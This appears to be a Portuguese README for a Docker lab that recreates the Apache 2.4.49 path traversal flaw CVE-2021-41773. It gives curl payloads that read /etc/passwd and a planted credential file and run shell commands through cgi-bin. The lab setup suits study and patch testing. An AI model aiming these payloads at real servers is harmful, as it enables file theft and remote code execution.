
Recriação e análise de um curioso erro lógico no Apache 2.4.49 que escalou para execução remota de código
CVE-2021-41773 é uma vulnerabilidade de path traversal descoberta no Apache HTTP Server 2.4.49 em outubro de 2021. A causa raiz foi uma falha na normalização de sequências de pontos terminadas na URL antes de verificar se o caminho solicitado permanecia dentro da raiz web. Esta vulnerabilidade permitia que um atacante saísse da raiz web para acessar arquivos em qualquer lugar do sistema de arquivos do servidor, com alguns casos de escalonamento até execução remota de código.
2 vetores de ataque demonstrados nesta exploração
Docker
curl
Linux ou macOS
Dockerfile - construir contêiner Apache 2.4.49 vulnerável
exploit.sh - script automatizado da cadeia de exploração
README.md
Visão geral do Dockerfile:
Nota: certifique-se de que o docker está instalado e em execução
Opção 1: script automático
chmod +x exploit.sh
./exploit.sh
Opção 2: execução manual
Construir imagem e executar contêiner:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
Comandos curl individuais para experimentação manual:
Etapa 1 — Ler segredo plantado (traversal puro, sem CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
Etapa 2 — Ler /etc/passwd (traversal puro, sem CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Etapa 3 — RCE: executar comandos (requer mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
Etapa 4 — Cadeia completa: ler segredo via RCE
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"